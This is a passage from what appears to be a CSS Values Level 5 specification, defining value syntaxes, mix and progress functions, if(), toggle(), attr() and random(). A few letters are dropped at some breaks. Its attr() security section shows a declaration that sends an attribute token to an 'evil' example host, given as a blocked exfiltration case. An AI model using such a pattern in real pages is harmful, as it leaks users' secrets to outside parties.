tainwhen it does not start with a "{" token:it is allowed to contain commas and {} blocks.It still follows the standard comma-containing production ruleswhen it does start with a "{" token, however:the fallback is just the contents of the {} block,and doesn’t include the {} wrapper itself. Other contexts may define that they use non-strict comma-containing productions,but it should be avoided unless necessary. 3.2. Boolean Expression Multiplier boolean-expr[] Several contexts(such as @media, @supports, if(), ...)specify conditions,and allow combining those conditions with boolean logic (and/or/not/grouping).Because they use the same non-trivial recursive syntax structure,the special boolean-expr[] production represents this pattern generically. The boolean-expr[] notation wraps another value type in the square brackets within it,e.g. boolean[ test ],and represents that value type alone as well asboolean combinationsusing the not, and, and or keywordsand grouping parenthesis.It is formally equivalent to:boolean-expr[ test ] = not boolean-expr-group | boolean-expr-group [ [ and boolean-expr-group ]* | [ or boolean-expr-group ]* ]boolean-expr-group = test | ( boolean-expr[ test ] ) | general-enclosed The boolean-expr[] production represents a true, false, or unknown value.Its value is resolved using 3-value Kleen

logic,with top-level unknown values(those not directly nested inside the grammar of another boolean-expr[])resolving to false unless otherwise specified;see Appendix B: Boolean Logic for details. For example, the @container rule allows a wide variety of tests:including size queries, style queries, and scroll-state queries.All of these are arbitrarily combinable with boolean logic.Using boolean-expr[], the grammar for an @container querycould be written as: container-query = boolean-expr[ cq-test ]cq-test = (size-query) | style( style-query ) | scroll-state( scroll-state-query )size-query = boolean-expr[ ( size-feature ) ] | size-featurestyle-query = boolean-expr[ ( style-feature ) ] | style-featurescroll-state-query = boolean-expr[ ( scroll-state-feature ) ] | scroll-state-feature The general-enclosed branch of the logic allows for future compatibility—​unless otherwise specified new expressions in an older UAwill be parsed and considered “unknown”,rather than invalidating the production.For consistency with that allowance,the test term in a boolean-expr[] should be defined to match general-enclosed. 3.3. Specifying CSS Syntax in CSS: the syntax type Some features in CSS,such as the attr() functionor registered custom properties,allow you to specify how another value is meant to be parsed.This is declared via the syntax production,which resembles a limited form of the CSS va

ue definition syntax used in specifications to define CSS features,and which represents a syntax definition:syntax = * | syntax-component [ syntax-combinator syntax-component ]* | syntax-stringsyntax-component = syntax-single-component syntax-multiplier? | transform-list syntax-single-component = syntax-type-name | identsyntax-type-name = angle | color | custom-ident | image | integer | length | length-percentage | number | percentage | resolution | string | time | url | transform-functionsyntax-combinator = |syntax-multiplier = [ # | + ]syntax-string = string A syntax-component consists of eithera syntax-type-name between (angle brackets),which maps to one of the supported syntax component names,or an ident, which represents any keyword.Additionally,a syntax-component may contain a multiplier,which indicates a list of values. Note: This means that length and length are two different types:the former describes a length,whereas the latter describes a keyword length. Multiple syntax-components may be combined with a | delim-token,causing the syntax components to be matchedagainst a valuein the specified order. percentage | number | auto The above, when parsed as a syntax,would accept percentage values, number values,as well as the keyword auto. red | color The syntax def

nition resulting from the above syntax,when used as a grammar for parsing,would match an input red as an identifier,but would match an input blue as a color. The * delim-token represents the universal syntax definition. The transform-list productionis a convenience form equivalent to transform-function+. Note that transform-list may notbe followed by a syntax-multiplier. Whitespace is not allowedbetween the angle bracket delim-tokens ( )and the syntax-type-name they enclose,nor is whitespace allowed to precede a syntax-multiplier. Note: The whitespace restrictions also apply to transform-list. A syntax-string is a string whose value successfully parses as a syntax,and represents the same value as that syntax would. Note: syntax-string mostly exists for historical purposes;before syntax was defined,the @property rule used a string for this purpose. 3.3.1. Parsing as syntax The purpose of a syntax is usually to specify how to parse another value(such as the value of a registered custom property,or an attribute value in attr()).However, the generic parse something according to a CSS grammar algorithmreturns an unspecified internal structure,since parse results might be ambiguousand need further massaging. To avoid these issues and get a well-defined result,use parse with a syntax: To parse with a syntax given a string or list or component values values,a syntax value syntax,and optionally an

element el for context,perform the following steps.It returns either CSS values,or the guaranteed-invalid value. Parse a list of component values from values,and let raw parse be the result. If el was given, substitute arbitrary substitution functions in raw parse,and set raw parse to that result. parse values according to syntax,with a * value treated as declaration-value?,and let parsed result be the result.If syntax used a | combinator,let parsed result be the parse result from the first matching clause. If parsed result is failure,return the guaranteed-invalid value. Assert: parsed result is now a well-defined list of one or more CSS values,since each branch of a syntax defines an unambiguous parse result(or the * syntax is unambiguous on its own). Return parsed result. Note: This algorithm does not resolved the parsed valuesinto computed values;the context in which the value is used will usually do that already,but if not,the invoking algorithm will need to handle that on its own. 4. Extensions to Level 4 Value Types See CSS Values and Units Level 4. 4.1. Resource Locators: the url type See CSS Values 4 § 4.5 Resource Locators: the url type. 4.1.1. Request URL Modifiers request-url-modifiers are url-modifiersthat affect the url’s resource request by applying associated URL request modifier steps.See CSS Values 4 § 4.5.4 URL Processing Model. This specificati

n defines the following request-url-modifiers:request-url-modifier = crossorigin-modifier | integrity-modifier | referrerpolicy-modifiercrossorigin-modifier = crossorigin(anonymous | use-credentials)integrity-modifier = integrity(string)referrerpolicy-modifier = referrerpolicy(no-referrer | no-referrer-when-downgrade | same-origin | origin | strict-origin | origin-when-cross-origin | strict-origin-when-cross-origin | unsafe-url) crossorigin-modifier = crossorigin(anonymous | use-credentials) The URL request modifier steps for this modifier given request req are: Set requests mode to "cors". If the given value is use-credentials,set requests credentials mode to "include". integrity-modifier = integrity(string) The URL request modifier steps for this modifier given request req are to set requests integrity metadata to the given string. referrerpolicy-modifier = referrerpolicy(no-referrer | no-referrer-when-downgrade | same-origin | origin | strict-origin | origin-when-cross-origin | strict-origin-when-cross-origin | unsafe-url) The URL request modifier steps for this modifier given request req are to set requests referrer policy to the ReferrerPolicy that matches the given value. To apply request modifiers from URL value given a request req and a url url,call the URL request modifier steps for url’s request-url-modifiers in sequencegiven req. 4.2. 2D Po

itioning: the position type The position value specifies the positionof an alignment subject (e.g. a background image)inside an alignment container (e.g. its background positioning area)as a pair of offsets between the specified edges(defaulting to the left and top).Its syntax is:position = position-one | position-two | position-fourposition-one = [ left | center | right | top | bottom | x-start | x-end | y-start | y-end | block-start | block-end | inline-start | inline-end | length-percentage]position-two = [ [ left | center | right | x-start | x-end ] && [ top | center | bottom | y-start | y-end ]| [ left | center | right | x-start | x-end | length-percentage ] [ top | center | bottom | y-start | y-end | length-percentage ]| [ block-start | center | block-end ] && [ inline-start | center | inline-end ]| [ start | center | end ]{2}]position-four = [ [ [ left | right | x-start | x-end ] length-percentage ] && [ [ top | bottom | y-start | y-end ] length-percentage ]| [ [ block-start | block-end ] length-percentage ] && [ [ inline-start | inline-end ] length-percentage ]| [ [ start | end ] length-percentage ]{2}] If only one value is specified (position-one),the second value is assumed to be center. If two values are given (position-two),a length-percentage as the first value representsthe horizontal position as the offset betweenthe left edges of the alignment subject and alignment container,and

length-percentage as the second value representsthe vertical position as an offset between their top edges. If both keywords are one of start or end,the first one represents the block axis and the second the inline axis. Note: A pair of axis-specific keywords can be reordered,while a combination of keyword and length or percentage cannot.So center left or inline-start block-end is valid,while 50% left is not. start and end aren’t axis-specific,so start end and end start represent two different positions. If four values are given (position-four)then each length-percentage represents an offset betweenthe edges specified by the preceding keyword.For example, background-position: bottom 10px right 20px represents a 10px vertical offset up from the bottom edgeand a 20px horizontal offset leftward from the right edge. Positive values represent an offset inward from the edge of the alignment container.Negative values represent an offset outward from the edge of the alignment container. The following declarations give the stated (horizontal, vertical)offsets from the top left corner: background-position: left 10px top 15px; /* 10px, 15px */background-position: left top ; /* 0px, 0px */background-position: 10px 15px; /* 10px, 15px */background-position: left 15px; /* 0px, 15px */background-position: 10px top ; /* 10px, 0px */ positions can also be relative to other corners than

the top left.For example, the following puts the background image10px from the bottom and 3em from the right: background-position: right 3em bottom 10px The computed value of a position isa pair of offsets (horizontal and vertical),each given as a computed length-percentage value,representing the distance between the left edges and top edges (respectively)of the alignment subject and alignment container. length-percentage A length-percentage value specifies the size of the offsetbetween the specified edges of the alignment subject and alignment container. For example, for background-position: 2cm 1cm,the top left corner of the background image is placed2cm to the right and 1cm belowthe top left corner of the background positioning area. A percentage for the horizontal offset is relative to(width of alignment container - width of alignment subject).A percentage for the vertical offset is relative to(height of alignment container - height of alignment subject). For example, with a value pair of 0% 0%,the upper left corner of the alignment subject is aligned withthe upper left corner of the alignment container A value pair of 100% 100% placesthe lower right corner of the alignment subject in the lower right corner of the alignment container.With a value pair of 75% 50%,the point 75% across and 50% down the alignment subject is to

e placed at the point 75% across and 50% down the alignment container. Diagram of the meaning of background-position: 75% 50%. top right bottom left Offsets the top/left/right/bottom edges (respectively)of the alignment subject and alignment container by the specified amount (defaulting to 0%)in the corresponding axis. y-start y-end x-start x-end Computes the same as the physical edge keywordcorresponding to the start/end sidein the [=y-axis|y/x axis. block-start block-end inline-start inline-end Computes the same as the physical edge keywordcorresponding to the start/end sidein the block/inline axis. center Computes to a 50% offset in the corresponding axis. Unless otherwise specified, the flow-relative keywords are resolvedaccording to the writing mode of the element on which the value is specified. Note: The background-position property also accepts a three-value syntax.This has been disallowed generically because it creates parsing ambiguitieswhen combined with other length or percentage components in a property value. Need to define how this syntax would expand to the longhands of background-position if e.g. var() is used for some (or all) of the components. [Issue #9690] 4.2.1. Parsing position When specified in a grammar alongside other keywords, lengths, or percentages, position is greedily parsed;\

it consumes as many components as possible. For example, transform-origin defines a 3D positionas (effectively) position length?.A value such as left 50px will be parsed as a 2-value position,with an omitted z-component;on the other hand,a value such as top 50px will be parsed as a single-value position followed by a length. 4.2.2. Serializing position When serializing the specified value of a position: If only one component is specified: The implied center keyword is added,and a 2-component value is serialized. If two components are specified: Keywords are serialized as keywords. length-percentages are serialized as length-percentages. Components are serialized horizontal first, then vertical. If four components are specified: Keywords and offsets are both serialized. Components are serialized horizontal first, then vertical;alternatively block-axis first, then inline-axis. Note: position values are never serialized as a single value,even when a single value would produce the same behavior,to avoid causing parsing ambiguities in some grammarswhere a position is placed next to a length,such as transform-origin. The computed value of a position is serialized as a pair of length-percentagesrepresenting offsets from the left and top edges, in that order. 4.2.3. Combination of

position Interpolation of position is defined asthe independent interpolation of each component (x, y)normalized as an offset from the top left corneras a length-percentage. Addition of position is likewise defined asthe independent addition each component (x, y)normalized as an offset from the top left corneras a length-percentage. 5. Interpolation Progress Functional Notations This section is an exploratory draft, and not yet approved by the CSSWG. [Issue #6245] The progress(), media-progress(), and container-progress() functional notations represent the proportional distanceof a given value (the progress value)from one value (the progress start value)to another value (the progress end value).They allow drawing a progress ratio from math functions, media features, and container features,respectively,following a common syntactic pattern:progress-function() = progress-function( progress value from start value to end value ) Each resolves to a number by calculating a progress function. To calculate a progress function,given a progress value, progress start value,and progress end value: If the progress start value and progress end value are different values (progress value - progress start value) / (progress end value - progress start value). If the progress start value and progress end value are the same value 0, -∞, or +∞,depending on whether progress value is equal to, less than,

or greater thanthe shared value. Note: The return value is a plain number,not made consistent with its arguments by default. The resulting number can then be input into other calculations,such as a math function or a mix notation. 5.1. Calculated Progress Values: the progress() notation The progress() functional notationreturns a number valuerepresenting the position of one calculation (the progress value)between two other calculations (the progress start value and progress end value). progress() is a math function. The syntax of progress() is defined as follows:progress() = progress(calc-sum, calc-sum, calc-sum) where the first, second, and third calc-sum values representthe progress value, progress start value, and progress end value,respectively. The argument calculations can resolve to any number, dimension, or percentage,but must have a consistent type or else the function is invalid. The value of progress() is a number,determined by calculating a progress function,then made consistent with the consistent type of its arguments. Do we need a percent-progress() notation,or do enough places auto-convert that it’s not necessary? Note: The progress() function is essentially syntactic sugarfor a particular pattern of calc() notations,so it’s a math function. 5.2. Media Query Progress Values: the media-progress() notation Similar to the progress() notation,the media-progress() functional nota

ionreturns a number valuerepresenting current value of the specified media query [MEDIAQUERIES-4] as a progress value between two explicit values of the media query (as the progress start value and progress end value). The syntax of media-progress() is defined as follows:media-progress() = media-progress(mf-name, calc-sum, calc-sum) where the value of the media feature corresponding to mf-name represents the progress value,and the two calc-sum values representthe progress start value and progress end value,respectively. The specified media feature must be a valid “range” type feature,the specified progress start value and progress end value must be valid values for the specified media query,and both calculation values must have a consistent type,or else the function is invalid. The progress start value and progress end value calculations are interpreted as specified for the media feature (rather than as specified by the context the function is used in). The value of media-progress() is a number,determined by calculating a progress function. Note: media-progress() is not a math function;it’s just a function that evaluates to a number. 5.3. Container Query Progress Values: the container-progress() notation The container-progress() functional notationis identical to the media-progress() functional notation,except that it accepts container features [CSS-CONTAIN-3] in place of media features. The syntax of container-prog

ess() is defined as follows:container-progress() = container-progress(mf-name [ of container-name ]?, calc-sum, calc-sum) where mf-name represents a size feature and the optional container-name component specifiesthe named containers to consider when selecting a containerto resolve them against.The value of the size feature is the progress value,and the two calc-sum values representthe progress start value and progress end value,respectively. The specified mf-name must be a valid size feature,the specified progress start value and progress end value must be valid values for that size feature,and both calculation values must have a consistent type,or else the function is invalid. container-progress() is only valid in a property value context;it cannot be used in, for example, a media query. The progress start value and progress end value calculations are interpreted as specified for the size feature (rather than as specified by the context the function is used in).If no appropriate containers are found, container-progress() resolves its size-feature queryagainst the small viewport size. The value of media-progress() is a number,determined by calculating a progress function. Note: container-progress() is not a math function;it’s just a function that evaluates to a number. 6. Mixing and Interpolation Notations: the *-mix() family This feature does not handle multiple breakpoints very well,and might need to be

edesigned. [Issue #6245] Several mix notations in CSSallow representing the interpolation of two values,the mix start value and the mix end value,at a given point in progress between them (the mix progress value).These functional notations follow the syntactic pattern:mix-function() = mix-function( progress, [=mix start value|start-value=], [=mix end value|end-value=] ) The mix notations in CSS include: calc-mix(),for interpolating length, percentage, time,and other dimensions representable in calc() expressions color-mix(),for interpolating two color values cross-fade(),for interpolating image values palette-mix(),for interpolating two font-palette values and finally the generic mix() notation,which can represent the interpolation of any property’s values(but only the property’s entire value, not individual components). Note: The cross-fade() notationalso has an alternative syntaxthat allows for mixing more than two values,but does not allow for the more complex expressions of progress. The mix() notation also has a variant that takes a set of keyframes.It does this by referring to an @keyframes rule,and pulling the corresponding property declaration out of that.It would be nice to allow the other mix notations to take keyframe also,but how would we represent a set of keyframes for a component value (rather than a full property value)? 6.1. Representing Interpolation Progress: the pr

gress type The progress value type representsthe mix progress value in a mix notation,and ultimately resolves to a percentage.It can, however, draw that percentage valuefrom sources such as media queries and animation timelines,and can also convert it through an easing function before using it for interpolation. Its syntax is defined as follows:progress = [ percentage | number | animation-timeline ] && [ by easing-function ]? where: percentage-token Computes to the equivalent number: 0% becomes 0, 100% becomes 1,etc. Note: This only allows literal percentages,like 15%;calculations like calc(100% / 7) will not work,as they will instead attempt to use the normal rulesfor resolving a percentage against another type(such as length, in width).Use expressions like calc(1 / 7) instead. number Represents the mix progress value. Note: This allows the use of the progress(), media-progress(),and container-progress() notations. animation-timeline Represents the mix progress value as the progress of the specified animation timeline.The values none and auto, however,are invalid. [CSS-ANIMATIONS-2] [WEB-ANIMATIONS-2] easing-function Converts the specified input mix progress value into an output mix progress value using the specified easing function. [CSS-EASING-1] Note: Progress values below 0 and above 1 are valid;they

llow representing interpolation beyond the rangedefined by the start and end values. Note: While progress itself can be a percentage,mapping directly to the equivalent number,a function that resolves to a number,like progress(),resolves percentages using the normal rules for the context;for example, in width, they would be resolved against a length. The computed value of a progress value specified with percentage or number is the computed number converted through the easing-function (if any).The computed value of a progress value specified with animation-timeline is the computed animation-timeline and easing-function (if any). 6.2. Interpolated Numeric and Dimensional Values: the calc-mix() notation The calc-mix() mix notation represents an interpolated numeric or dimensional value.Like calc(), it is a math function,with the following syntactic form:calc-mix() = calc-mix( progress, calc-sum, calc-sum ) The calc-sum arguments can resolveto any number, dimension, or percentage,but must have a consistent type or else the function is invalid.The result’s type will be the consistent type, made consistent with the type of the progress value. The used value of a valid calc-mix() isthe result of interpolating these two valuesto the progress given by progress.If the progress value can be computed to a number,then the computed value is likewisethe result of interpolating the two c

mputed values to that progress value(in other words, A * (1-progress) + B * progress)it is otherwise the calc-mix() notation itselfwith its arguments each computed according to their type. 6.3. Interpolated Color Values: the color-mix() notation This specification extends the color-mix() functional notation as a mix notation accepting the following syntaxes:color-mix() = color-mix( [ progress && color-interpolation-method? ] , color, color ) | color-mix( color-interpolation-method, [color && percentage [0,100]?]#{2} ) The used value of the first mix notation variantis equivalent to assigning the progress value,as a percentage,to the percentage of the second color argument in the second variant. That is, color-mix(progress, color1, color2) is equivalent to color-mix(color1, color2 progress). See CSS Color 5 § 3 Mixing Colors: the color-mix() Function for the normative definition of the second variant. progress allows returning percentages outside 0-100%,but color-mix() doesn’t allows such values,so need to define how that gets processed. 6.4. Interpolated Image Values: the cross-fade() notation This specification extends the cross-fade() functional notation as a mix notation accepting the following syntaxes:cross-fade() = cross-fade( progress, [ image | color ], [ image | color ] ) | cross-fade( cf-image# ) The used value of the first mix notation variantis equivalent to assigning the progress v

lueas the percentage of the second color argument in the second variant. That is, cross-fade(progress, image1, image2) is equivalent to cross-fade(image1, image2 progress). See CSS Images 4 § 2.6 Combining images: the cross-fade() notation for the normative definition of the second variant. 6.5. Interpolated Transform Values: the transform-mix() notation The transform-mix() mix notation represents an interpolated transform-list,with the following syntactic form:transform-mix() = transform-mix( progress, transform-list, transform-list ) The used value of a valid transform-mix() isthe result of interpolating these two valuesto the progress given by progress.If the progress value can be computed to a percentage,and the transform-lists can be interpolatedwithout used-value-time information,then the computed value is likewisethe result of interpolating the two computed values to that progress value;it is otherwise the transform-mix() notation itselfwith its arguments each computed according to their type. transform-mix() is, itself, a transform-function. 6.6. Interpolated Property Values: the mix() notation Interpolation of any two property values can be representedby the mix() mix notation,which supports two alternative syntax patterns:mix() = mix( progress , whole-value , whole-value ) | mix( progress && of keyframes-name ) The first syntax alternative, like other mix notations,interpolates betwe

n the first whole-value (its mix start value)and the second whole-value (its mix end value).The second uses the mix progress value to interpolate the corresponding property declarations from a set of keyframes,allowing for more complex interpolation curves. For the standard mix notation variant,if the two whole-values being interpolated by mix() are interpolable as values for the property in which it is specified,and the interpolated value can be represented without mix(),the computed value of mix() isthe result of interpolating these two valuesto the progress given by progress.Otherwise,the computed value of mix() isthe mix() functional notation itselfwith its progress value computedand its whole-values (if provided)computed as values for this property. For example, most uses of mix() will resolve at computed-value time: color: mix(90%, red, blue);/* via simple interpolation, computes to: */color: rgb(10% 0 90%);color: mix(90%, currentcolor, black);/* can’t be fully resolved at computed-value time, but still has a defined representation: */color: color-mix(currentcolor 90%, black 10%);float: mix(90%, left, right);/* discretely animatable */float: right; But a few cases don’t have an intermediate representation:transform: mix(90%, translate(calc(1em + 50%)), rotate(30deg));/* because functions don’t match, it will interpolate via matrix(). But translate(%) needs layout information to turn into a matrix(), so the in

erpolated value can’t actually be represented. Computes to: */transform: mix(90%, translate(calc(16px + 50%)), rotate(30deg));transform: mix(90% of ripple); The mix() notation is a whole-value.Additionally,if any of its whole-value arguments are not animatable,the notation is invalid. For example, the following declarations are invalid,and will be ignored: /* Invalid start value */color: mix(90%, #invalid, #F00);/* Function is mixed with other values */background: url(ocean) mix(10%, blue, yellow);/* animation-* is not animatable */animation-delay: mix(0%, 0s, 2s); 7. Miscellaneous Value Substituting Functions 7.1. Representing An Entire Property Value: the whole-value type Several functions defined in this specificationcan only be used as the "whole value" of a property.For example, background-position: toggle(50px 50px, center); is valid,but background-position: toggle(50px, center) 50px; is not.The whole-value production represents these values. All properties implicitly accept a whole-value as their entire value,just as they accept the CSS-wide keywords as their entire value. When used as a component value of a function, whole-value also represents any CSS valuenormally valid as the whole valueof the property in which it is used(including additional whole-value functions).However, some functions may restrictwhat a whole-value argument can include. 7.2. Selecting the First Supported Value: th

first-valid() notation CSS supports progressive enhancement with its forward-compatible parsing:authors can declare the same property multiple times in a style rule,using different values each time,and a CSS UA will automatically use the last one that it understandsand throw out the rest.This principle, together with the @supports rule,allows authors to write stylesheets that work wellin old and new UAs simultaneously. However, using var() (or similar substitution functions that resolve after parsing)thwarts this functionality;CSS UAs must assume any such property is valid at parse-time. The first-valid() functional notation inlines the fallback behaviorintrinsic to parsing declarations.Unlike most notations,it can accept any valid or invalid syntax in its arguments,and represents the first value among its argumentsthat is supported (parsed as valid) by the UAas the whole value of the property it’s used in.first-valid() = first-valid( declaration-value# ) If none of the arguments represent a valid value for the property,the property is invalid at computed-value time. first-valid() is a whole-value. Should this have a different name?We didn’t quite decide on it during the resolution to add this. Note: Despite effectively taking whole-values as its argument, first-valid() is instead defined to take declaration-valuesbecause, by definition,it’s intended to be used in cases where its values might be invalid for the de

laration it’s in. declaration-value imposes no contextual validity constraints on what it matches,unlike whole-value. 7.3. Conditional Value Selection: the if() notation The if() notation is an arbitrary substitution function that represents conditional values.Its argument consists of an ordered semi-colon–separated list of statements,each consisting of a conditionfollowed by a colonfollowed by a value.An if() notation representsthe value corresponding to the first condition in its argument list to be true;if no condition matches,then the if() notation represents an empty token stream. The if() notation syntax is defined as follows:if() = if( [ if-condition : declaration-value? ; ]* if-condition : declaration-value? ;? )if-condition = boolean-expr[ if-test ] | elseif-test = supports( [ supports-condition | ident : declaration-value ] ) | media( media-query ) | style( style-query ) The else keyword representsa condition that is always true. To resolve an if() function,return the declaration-value?associated with the first if-condition that is true;if none are true,return nothing (an empty token stream). Note: Unlike using @media/@supports/@container rules,which just ignore their contents when they’re falseand let the cascade determine what values otherwise apply,declarations with if() do not roll back the cascade if the conditions are false;any fallback values must be provided i

line. 7.4. Toggling Between Values: the toggle() notation The toggle() expression allows descendant elementsto cycle over a list of values instead of inheriting the same value. The following example makes em elements italic in general,but makes them normal if they’re inside something that’s italic: em { font-style: toggle(italic, normal); } The following example cycles markers for nested lists,so that a top level list has disc-shaped markers,but nested lists use circle, then square, then box,and then repeat through the list of marker shapes,starting again (for the 5th list deep) with disc. ul { list-style-type: toggle(disc, circle, square, box); } The syntax of the toggle() expression is:toggle() = toggle( whole-value# ) The toggle() notation is a whole-value.However, it is not allowed to be nested,nor may it contain attr() or calc() notations;declarations containing such constructs are invalid. The following toggle() examples are all invalid: background-position: 10px toggle(50px, 100px);/* toggle() must be the sole value of the property */list-style-type: toggle(disc, 50px);/* 50px isn’t a valid value of list-style-type */ To determine the computed value of toggle(),first evaluate each argument as if it were the sole value of the property in which toggle() is placedto determine the computed value that each represents,called Cn for the n-th argument to toggle().Then, compare the property

s inherited value with each Cn.For the earliest Cn that matches the inherited value,the computed value of toggle() is Cn+1.If the match was the last argument in the list,or there was no match,the computed value of toggle() is the computed value that the first argument represents. Note: This means that repeating values in a toggle() short-circuits the list.For example toggle(1em, 2em, 1em, 4em) will be equivalent to toggle(1em, 2em). Note: That toggle() explicitly looks at the computed value of the parent,so it works even on non-inherited properties.This is similar to the inherit keyword,which works even on non-inherited properties. Note: That the computed value of a property is an abstract set of values,not a particular serialization [CSS21],so comparison between computed values should always be unambiguous and have the expected result.For example,a Level 2 background-position computed valueis just two offsets, each represented as an absolute length or a percentage,so the declarations background-position: top center and background-position: 50% 0% produce identical computed values.If the "Computed Value" line of a property definition seems to define something ambiguous or overly strict,please provide feedback so we can fix it. If toggle() is used on a shorthand property,it sets each of its longhands to a toggle() valuewith arguments corresponding to what the longhand would have receivedhad each of the original toggle() arguments

been the sole value of the shorthand. For example, the following shorthand declaration: margin: toggle(1px 2px, 4px, 1px 5px 4px); is equivalent to the following longhand declarations:margin-top: toggle(1px, 4px, 1px);margin-right: toggle(2px, 4px, 5px);margin-bottom: toggle(1px, 4px, 4px);margin-left: toggle(2px, 4px, 5px); Note that, since 1px appears twice in the top margin and 4px appears twice in bottom margin,they will cycle between only two valueswhile the left and right margins cycle through three.In other words, the declarations above will yield the same computed valuesas the longhand declarations below:margin-top: toggle(1px, 4px);margin-right: toggle(2px, 4px, 5px);margin-bottom: toggle(1px, 4px);margin-left: toggle(2px, 4px, 5px); which may not be what was intended. 7.5. Custom Property References: the var() notation The var() notation substitutes the value of a custom property,see the CSS Custom Properties for Cascading Variables Module. [CSS-VARIABLES] 7.6. Inherited Value References: the inherit() notation Like the inherit keyword, the inherit() functional notation resolves to the computed value of a property on the parent.Rather than resolving to the value of the same property, however,it resolves to the tokenized computed value of the property specified as its first argument.Its second argument, if present, is used as a fallbackin case the first argument resolves to the guaranteed-invalid valu

. inherit() is an arbitrary substitution function whose syntax is defined as:inherit() = inherit( custom-property-name, declaration-value? ) To resolve an inherit() function,return the inherited value of the custom property specified by the first argument,and (if specified) the fallback specified by the second argument. Note: Future levels of CSS may allow specifying standard CSS properties in inherit();however because the tokenization of computed values is not fully standardized for all CSS properties,this feature is deferred from Level 5.Note that the computed value differs from the used value,and is not always the resolved value returned by getComputedStyle();thus even if inherit(width) were allowed,it would frequently return the keyword auto, not the used length. 7.7. Attribute References: the attr() notation The attr() function substitutes the value of an attribute on an element into a property,similar to how the var() functionsubstitutes a custom property value into a function.attr() = attr( attr-name syntax? , declaration-value?)attr-name = [ ident-token | ]? ident-token The arguments of attr() are: attr-name Gives the name of the attribute being referenced,similar to wq-name (from [SELECTORS-3])but without the possibility of a wildcard prefix. If no namespace is specified(just an identifier is given, like attr(foo)),the null namespace is implied.(This is usually what’s desired,as namespaced

attributes are rare.In particular, HTML and SVG do not contain namespaced attributes.)As with attribute selectors,the case-sensitivity of attr-name depends on the document language. If attr() is used in a property applied to an element,it references the attribute of the given name on that element;if applied to a pseudo-element,the attribute is looked up on the pseudo-element’s originating element. syntax Specifies how the attribute value is parsed into a CSS value.Values that fail to parse according to the syntaxtrigger fallback. Omitting the syntax argumentcauses the attribute’s literal valueto be treated as the value of a CSS string,with no CSS parsing performed at all(including CSS escapes, whitespace removal, comments, etc). Note: This is different from specifying a syntax of *,which still triggers CSS parsing(but with no requirements placed on itbeyond that it parse validly),and which substitutes the result of that parsing directly,rather than as a string value. declaration-value Specifies a fallback value for the attr(),which will be substituted instead of the attribute’s valueif the attribute is missingor fails to parse as the specified type. If the syntax argument is omitted,the fallback defaults to the empty string if omitted;otherwise, it defaults to the guaranteed-invalid value if omitted. If a property contains one or more attr() functions,and those functions are syntactically valid,the entire property’s g

ammar must be assumed to be valid at parse time.It is only syntax-checked at computed-value time,after attr() functions have been substituted. Note that the default value need not be of the type given.For instance, if the type required of the attribute by the author is number px,the default could still be auto,like in width: attr(size number px, auto);. This example shows the use of attr() to visually illustrate datain an XML file: stock wood length="12"/ wood length="5"/ metal length="19"/ wood length="4"//stockstock::before { display: block; content: "To scale, the lengths of materials in stock are:";}stock * { display: block; width: attr(length number em, 0px); height: 1em; border: solid thin; margin: 0.5em;}wood { background: orange url(wood.png);}metal { background: silver url(metal.png);} 7.7.1. Attribute Value Substitution: the attr() notation attr() is an arbitrary substitution function,similar to var(),and so is replaced with the value it represents (if possible)at computed value time;otherwise, it’s replaced with the guaranteed-invalid value,which will make its declaration invalid at computed-value time. To resolve an attr() function: Let el be the element that the style containing the attr() functionis being applied to.Let attr name be the attribute name specified in the function.Let syntax be the syntax specified in the function,or null if it was omitted.Let f

llback be the declaration-value? argument specified in the function,or the guaranteed-invalid value if it was omitted. If there is no attribute named attr name on el,return the guaranteed-invalid value and fallback.Otherwise, let attr value be that attribute’s value. If syntax is null,return a CSS string whose value is attr value. Note: No parsing or modification of any kind is performed on the value. Parse with a syntax attr value, with syntax and el.Return the result and fallback. 7.7.2. Security An attr() function can reference attributesthat were never intended by the page to be used for styling,and might contain sensitive information(for example, a security token used by scripts on the page). In general, this is fine.It is difficult to use attr() to extract information from a pageand send it to a hostile party,in most circumstances.The exception to this is URLs.If a URL can be constructed with the value of an arbitrary attribute,purely from CSS,it can easily send any information stored in attributesto a hostile party,if 3rd-party CSS is allowed at all. To guard against this,the values produced by an attr() are considered attr()-tainted,as are functions that contain an attr()-tainted value. Registered custom properties containing attr() maintain the attr()-taint on their attr()-tainted valuesacross var() substitution. Using an attr()-tainted value as or in a url makes a declaration

nvalid at computed-value time. For example,all of the following are invalid: background-image: src(attr(foo)); - can’t use it directly. background-image: image(attr(foo)) - can’t use it in other url-taking functions. background-image: src(string("http://example.com/evil?token=" attr(foo))) - can’t "launder" it thru another function. --foo: attr(foo); background-image(src(var(--foo))) (assuming that --foo is a registered custom property with string syntax) - can’t launder the value thru another property, either. However, using attr() for other purposes is fine,even if the usage is near a url: background-image: image("foo.jpg", attr(bgcolor color)) is fine;the attr() is providing a fallback color,and the url isn’t attr()-tainted. Note: Implementing this restrictionrequires tracking a dirty biton values constructed from attr() values,since they can be fully resolved into a stringvia registered custom properties,so you can’t rely on just examining the value expression.Note that non-string types can even trigger this,via functions like string() that can stringify other types of values: --foo: attr(foo number); background-image: src(string(var(--foo))) needs to be invalid as well. 8. Generating Random Values It is often useful to incorporate some degree of "randomness" to a design,either to make repeated elements on a page feel less static and identical,or just to

dd a bit of "flair" to a page without being distracting. The random() and random-item() functions(the random functions)allow authors to incorporate randomness into their page,while keeping this randomness predictable from a design perspective,letting authors decide whether a random value should be reused in several placesor be unique between instances. The exact random-number generation method is UA-defined.It should be the case that two distinct random valueshave no easily-detectable correlation,but this specification intentionally does not specify what that meansin terms of cryptographic strength.Authors must not rely on random functions for any purposes that depend on quality cryptography. 8.1. Generating a Random Numeric Value: the random() function The random() function is a math function that represents a random value between a minimum and maximum value,drawn from a uniform distribution,optionally limiting the possible values to a step between those limits:random() = random( random-caching-options? , calc-sum, calc-sum, [by calc-sum]? )random-caching-options = dashed-ident || per-element Its arguments are: random-caching-options The optional random-caching-options provides some control over whether a given random() functionresolves similarly or differently to other random()s on the page.See § 8.3 Generating/Caching Random Values: the random-caching-options value for details. By default, rand

